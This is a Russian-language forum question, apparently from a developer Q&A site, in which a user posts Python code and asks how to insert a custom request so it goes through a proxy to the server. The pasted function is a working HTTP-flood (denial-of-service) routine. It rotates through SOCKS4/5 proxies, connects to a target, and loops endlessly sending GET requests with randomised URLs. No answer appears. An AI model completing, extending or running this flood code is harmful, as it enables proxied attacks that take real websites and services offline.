@Opred

Как вставить запрос?

def cc(event,socks_type,ind_rlock):
    global ind_dict
    header = GenReqHeader("get")
    proxy = Choice(proxies).strip().split(":")
    add = "?"
    if "?" in path:
        add = "&"
    event.wait()
    while True:
        try:
            s = socks.socksocket()
            if socks_type == 4:
                s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
            if socks_type == 5:
                s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
            if brute:
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.connect((str(target), int(port)))
            if protocol == "https":
                ctx = ssl.SSLContext()
                s = ctx.wrap_socket(s,server_hostname=target)
            try:
                for _ in range(multiple+1):
                    get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
                    request = get_host + header
                    sent = s.send(str.encode(request))
                    if not sent:
                        proxy = Choice(proxies).strip().split(":")
                        break
                s.close()
            except:
                s.close()
            ind_rlock.acquire()
            ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
            ind_rlock.release()
        except:
            s.close()


Как в этот код вставить запрос
< LIST l="qwerty"/ >
Чтобы он отправлялся на прокси и от туда на сервер
  • Вопрос задан
  • 118 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы